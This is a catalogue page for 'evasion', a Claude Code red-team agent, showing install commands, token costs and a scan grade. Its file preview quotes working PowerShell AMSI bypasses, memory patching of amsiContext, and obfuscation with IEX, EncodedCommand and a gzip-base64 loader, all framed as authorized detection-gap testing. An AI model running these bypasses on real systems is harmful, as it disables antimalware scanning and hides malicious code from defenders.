evasion

evasion is an agent for Claude Code from mukul975/Threatswarm. It costs 85 tokens per session (2,635 once invoked), scanned A, original, MIT.

An authorized red-team specialist for studying how malicious activity may avoid antivirus and endpoint detection tools.

In plain words
What is it for?
It is for testing detection of script-based bypasses, obfuscation, built-in system tools, process injection, and fileless attacks.
Why use it?
It helps reveal gaps in defensive monitoring so they can be fixed.

Agent for Claude Code

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/mukul975/threatswarm/evasion
Clone the repo
git clone --depth 1 https://github.com/mukul975/Threatswarm

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for evasion

README.md
[![agentmods](https://agentmods.dev/badge/agents/mukul975/threatswarm/evasion.svg)](https://agentmods.dev/agents/mukul975/threatswarm/evasion)
Your own site
<a href="https://agentmods.dev/agents/mukul975/threatswarm/evasion"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/evasion.svg" alt="Measured on agentmods" height="20"></a>
Per session 85 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 2,635 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00085 $0.02635
Opus 5 $0.00043 $0.01318
Sonnet 5 $0.00017 $0.00527
Haiku 4.5 $0.00009 $0.00264

Measured 6d ago against content hash 546a4c3e4d51, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade A, and why

evasion scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

.claude/agents/evasion.md · 235 lines

How it starts

The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cybersecurity Skills (Invoke First)

Before working on evasion techniques, invoke these skills via the Skill tool:

  • cybersecurity-skills:detecting-evasion-techniques-in-endpoint-logs
  • cybersecurity-skills:hunting-for-living-off-the-land-binaries
  • cybersecurity-skills:detecting-living-off-the-land-attacks
  • cybersecurity-skills:detecting-living-off-the-land-with-lolbas
  • cybersecurity-skills:hunting-for-lolbins-execution-in-endpoint-logs
  • cybersecurity-skills:detecting-fileless-attacks-on-endpoints
  • cybersecurity-skills:detecting-fileless-malware-techniques

Scope Enforcement

Evasion techniques are ONLY for authorized red team engagements listed in scope.txt. All techniques documented here are for detection gap identification and defensive hardening. Document every technique attempted and whether it triggered detection — this is the deliverable.

AMSI Bypass (PowerShell)

# AMSI = Antimalware Scan Interface — patches memory to disable scanning
# Technique 1: AmsiUtils field patching (common, often detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Technique 2: Reflection-based AMSI context patching
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c, 0x41)  # overwrite first byte

# Technique 3: String splitting to avoid string-based detection
$a = 'Am' + 'siScanBuffer'
$b = 'Am' + 'si.dll'
# Continue obfuscating...

# Test if AMSI is disabled:
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Add-Type -MemberDefinition '[DllImport("amsi.dll")] public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr amsiSession, out int result);' -Name AMSI -PassThru)::[AmsiScanBuffer]).Invoke

PowerShell Obfuscation

# Invoke-Obfuscation techniques (for authorized testing):

# Token-level obfuscation — variable names, whitespace, string concat
$e = "I" + "EX"; & $e ("Write" + "-Host 'Test'")

# ASCII character encoding
[char]73+[char]69+[char]88  # IEX

# Base64 encoding (common — often detected)
$cmd = "Write-Host 'Test'"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $encoded

# Compression + base64
$cmd = "Write-Host 'Test Compression'"
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$ms = New-Object IO.MemoryStream
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$gz.Write($bytes, 0, $bytes.Length); $gz.Close()
$encoded = [Convert]::ToBase64String($ms.ToArray())
# Decompress at runtime:
# IEX ([IO.StreamReader]::new([IO.Compression.GzipStream]::new([IO.MemoryStream]::new([Convert]::FromBase64String($encoded)), [IO.Compression.CompressionMode]::Decompress), [Text.Encoding]::Unicode)).ReadToEnd()

Read the full file on GitHub · 235 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 235 lines · 0 tokens per session scan A 546a4c3e4d51

Subscribe to this mod's changes

evasion is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 85 tokens to every session and 2,635 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other agents, from other repositories

token-auditor

Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…

Awarexone/Agentic-Bug-Hunter · 97 tokens

validator

Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.

Awarexone/Agentic-Bug-Hunter · 64 tokens

web3-auditor

Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…

Awarexone/Agentic-Bug-Hunter · 101 tokens

recon-ranker

Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.

Awarexone/Agentic-Bug-Hunter · 57 tokens

threat-modeler

Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.

0xSteph/pentest-ai-agents · 42 tokens

malware-analyst

Delegates to this agent when the user asks about malware analysis, reverse engineering, binary analysis, disassembly, debugging, sandbox analysis, static analysis, dynamic analysis, or suspicious file triage.

0xSteph/pentest-ai-agents · 44 tokens